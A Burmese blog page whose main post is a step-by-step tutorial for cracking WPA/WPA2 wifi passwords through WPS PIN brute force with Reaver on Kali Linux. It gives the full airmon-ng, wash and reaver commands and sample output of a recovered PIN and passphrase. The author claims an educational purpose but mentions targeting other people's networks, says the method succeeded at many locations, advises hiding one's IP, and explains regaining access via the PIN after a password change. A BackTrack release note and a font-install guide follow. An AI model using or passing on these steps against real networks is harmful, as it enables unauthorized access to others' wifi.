How to Cracking WPA and WPA2 key with Reaver in Kali Linux (No Dictionary - Wordlist)

Reaver ကိုသံုးျပီးေတာ့ hack တာပါ Education post အေနနဲ့ျပသေပးမွာျဖစ္ပါတယ္
wifi ကလည္း မိမိ၏ဖုန္းမွထုတ္လြွင့္ေသာလိုင္းကို attack လုပ္ျကည့္မွာပါ

အရင္ဆံုး Terminal ထဲမွာေရးလိုက္ပါ

root@kali:~# airmon-ng

Interface Chipset Driver

wlan0 Atheros AR9485 ath9k - [phy0]

root@kali:~# airmon-ng stop wlan0

Interface Chipset Driver

wlan0 Atheros AR9485 ath9k - [phy0]
(monitor mode disabled)
root@kali:~# airodump-ng wlan0




ဒီအဆင့္ထိျပီးသြားရင္ေတာ့ ေနာက္တစ္ဆင့္သြားထပ္သြားမယ္
ေအာက္ကပံုလိုမ်ိုးလိုင္းေတြက်လာရင္ေတာ့ ok ပါျပီ


-->

BSSID 02:03:7F:C5:99:C3 ESSID aunglay CH 1 ENC WPA2 စတာေတြပါ၀င္တဲ့ လိုင္းက က်ြန္ေတာ့္ဖုန္းလိုင္းပါ


ဒီ Terminal ကိုမပိတ္ပဲ ေနာက္ထပ္ Terminal အသစ္တစ္ခုထပ္ဖြင့္လိုက္ပါ


root@kali:~# wash -i wlan0 -c 1 -C -s


အနီေရာင္ခ်ယ္ထားေသာ 1 ေနရာတြင္ တျခား နာပတ္မ်ားျဖစ္ေနနိုင္သည္
Target ရဲ့ CH ကိုကူးယူျခင္းျဖစ္သည္
က်ြန္ေတာ့္လိုင္းေအာက္က THA Call ဆုိတဲ့လိုင္းကို hack မယ္ဆုိ 7 ေပါ့ဗ်ာ
02:03:7F:C5:99:C3 ဆိုတာကလည္း ေျပာင္းလဲနိုင္တယ္ေနာ္
ကိုယ္ target wifi ေပါ္လာျပီဆိုရင္ေတာ့ Ctrl+c နွိပ္ျပီး ရပ္လိုက္ပါ

root@kali:~# reaver -i wlan0 -b 02:03:7F:C5:99:C3 --fail-wait=360

Reaver v1.4 WiFi Protected Setup Attack Tool

Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

[+] Waiting for beacon from 02:03:7F:C5:99:C3

[+] Associated with 02:03:7F:C5:99:C3 (ESSID: aunglay)

မရွင္းေသးရင္ ေအာက္ကပံုကိုျကည့္ပါ




ဒီေနရာမွာေတာ့ အခ်ိန္ေပးရပါတယ္ wordlist နဲ့တိုက္စစ္တာမဟုက္တဲ့အတြက္ password ေပးထားမွုအေပါ္ မူတည္ျပီးေျပာင္းလဲနိုင္ပါတယ္

ေအာင္ျမင္သြားရင္ေတာ့

[+] WPS PIN : '123456789'
[+] WPA PSK : 'asdfjhjk'
[+] AP SSID : '744edz'

ဆိုျပီးေပါ္လာပါလိမ့္မယ္ Hacking အပိုင္းဒီမွာျပီးပါျပီ
သို့ေသာ္ တခ်ို့ေတြက အထြန့္တက္ တက္က်ေသးတယ္ အကယ္၍ ပိုင္ရွင္က password ခိ်န္းသြားရင္ေရာတဲ့ေလ ဒါဆိုလည္းလြယ္လြယ္ေလးပါ WPS PIN ရထားတာပဲ

Reaver –help ရိုက္ျကည့္လိုက္ပါ


Advanced Options:
-p, --pin=<wps pin> Use the specified 4 or 8 digit WPS pin

ဆိုတာပါရွိပါတယ္ PIN သိရင္ ျပန္ယူလို့ရပါတယ္ဗ်ာ Password ဘယ္ေလာက္ခ်ိန္းခ်ိန္းပါ
PIN အေျကာင္းကိုေတာ့ ေနာက္ပိုင္းမွာ အက်ယ္ေရးသားေပးပါဦးမယ္

ယခုနည္းကလည္း က်ြန္ေတာ္ကိုယ္တိုင္ စမ္းသပ္အသံုးျပုေနေသာ နည္းပါ wifi လြွင့္ထားတဲ့
ေနရာေတာ္ေတာ္မ်ားမ်ားမွာ စမ္းတာေအာင္ျမင္ပါတယ္ အဲတစ္ခုပဲ IP hite ထားပါ :P
စာအုပ္ပါ တင္ေပးထားပါတယ္
ဒီမွာ ေဒါင္းပါ
ေက်းဇူးတင္ပါသည္

creadit to : http://linuxfunpage.blogspot.com

Read More

BackTrack 5 R3 Released!

The time has come to refresh our security tool arsenal – BackTrack 5 R3 has been released. R3 focuses on bug-fixes as well as the addition of over 60 new tools – several of which were released in BlackHat and Defcon 2012. A whole new tool category was populated – “Physical Exploitation”, which now includes tools such as the Arduino IDE and libraries, as well as the Kautilya Teensy payload collection.
Building, testing and releasing a new BackTrack revision is never an easy task.Keeping up-to-date with all the latest tools, while balancing their requirements of dependencies, is akin to a magic show juggling act. Thankfully, active members of our redmine community such as backtracklover and JudasIscariot make our task that much easier by actively reporting bugs and suggesting new tools on a regular basis. Hats off to the both of you.


We would like to thank Offensive Security for providing the BackTrack dev team with the funding and resources to make all of this happen. Also, a very special thanks to dookie, our lead developer – for building, testing and packaging most of the new tools in this release.
Together with our usual KDE and GNOME, 32/64 bit ISOs, we have released a single VMware Image (Gnome, 32 bit). For those requiring other VM flavors of BackTrack – building your own VMWare image is easy – instructions can be found in the BackTrack Wiki.
Lastly, if you’re looking for intensive, real world, hands on Penetration Testing Training – make sure to drop by Offensive Security Training, and learn the meaning of “TRY HARDER“.
For the insanely impatient, you can download the BackTrack 5 R3 release via torrent right now. Direct ISO downloads will be available once all our HTTP mirrors have synched, which should take a couple more hours. Once this happens, we will update our BackTrack Download page with all links.

• BT5R3-GNOME-64.torrent (md5: 8cd98b693ce542b671edecaed48ab06d)
• BT5R3-GNOME-32.torrent (md5: aafff8ff5b71fdb6fccdded49a6541a0)
• BT5R3-KDE-64.torrent (md5: 981b897b7fdf34fb1431ba84fe93249f)
• BT5R3-KDE-32.torrent (md5: d324687fb891e695089745d461268576)

Read More

Backtrack OS မွာ ေဇာ္ဂ်ီေဖာင့္သြင္းနည္း

Backtrack OS မွာ ေဇာ္ဂ်ီေဖာင့္သြင္းနည္းေလးကုိ ေျပာျပခ်င္ပါတယ္။ ကြ်န္ေတာ္ကေတာ့ Backtrack ကုိမသုံးေတာ့ သုံးတဲ့လူေတြဆီကေန ေမးျမန္းကုိးကားျပီး ေဖာ္ျပေပးလုိက္ပါတယ္။ Screenshot ေတြနဲ႕ဆုိေတာ့ နားလည္လြယ္မွာပါ။ ဘာမွေတာ့ ေထြေထြထူးထူး ခက္ခဲစရာမရွိပါဘူး။ ကဲစလုိက္ရေအာင္။ အရင္ဆုံး ေအာက္က Link တစ္ခုခုကေန အဆင္ေျပမယ့္ zawgyi key board (.tar.gz) ဖုိင္တစ္ခုကုိဆြဲလုိက္ပါ။ ဖုိင္ဆုိဒ္ကလည္း ေသးေသးေလးပါပဲ။
http://code.google.com/p/zawgyi-keyboard/downloads/list
ဘယ္ဟာေရြးရမွန္းမသိရင္ ေအာက္က link ကေနသာ ဆြဲစိလုိက္ပါ။
http://code.google.com/p/zawgyi-keyboard/downloads/detail?name=zawgyi_keyboard-0.3.3.tar.gz&can=2&q
ေဒါင္းထားတဲ့ ဖုိင္ကုိ Desktop ေပၚကုိတင္ထားလုိက္ပါ။ အျခားေနရာမွာထားလည္းရပါတယ္။ အဲဒီဖုိင္ကုိ Terminal ကေနျပန္ေခၚရင္ လြယ္ကူေအာင္လုိ႔ပါ။ ကဲ ရျပီဆုိရင္ Ctrl+Alt+T ကုိႏွိပ္ျပီး Terminal ကုိေခၚလုိက္ပါ။ အရင္ဆုံး ကြ်န္ေတာ္တုိ႔တင္ထားတဲ့ ဖုိင္ရွိရာ Desktop directory ကုိသြားဖုိ႔ cd Desktop လုိ႔ ရုိက္ထည့္ေပး လုိက္ပါ။ Desktop ေပၚေရာက္ျပီဆုိရင္ ls command ေပးပါ။ ျပီးရင္ ေအာက္က Command နဲ႔ျဖည္လုိက္ပါ။
tar xvf zawgyi_keyboard-0.3.3.tar.gz ဆုိတာေပၚလာပါမယ္။ ပုံမွာျပထားတယ္ေနာ္။
tar xvf zawgyi_keyboard-0.3.3.tar.gz လုိ႔ရုိက္ထည့္ပါ။ ဒါျပီးရင္ ကြ်န္ေတာ္တုိ႔ tar ဖုိင္ကုိ extract လုပ္ပါမယ္။ tar xvf zawgyi_keyboard-0.3.3.tar.gz လုိ႔ရုိက္ထည့္ပါ။ ျပီးရင္ Enter ေခါက္လုိက္ေပါ့။ အဲဒါ ျပီးရင္ ls နဲ႕ၾကည့္လုိက္ပါ။ zawgyi ဆုိတဲ့ဖုိင္ေလး Desktop ေပၚေရာက္ေနတာေတြ႔ရပါလိမ့္မယ္။

Credit to ငမုိး

Read More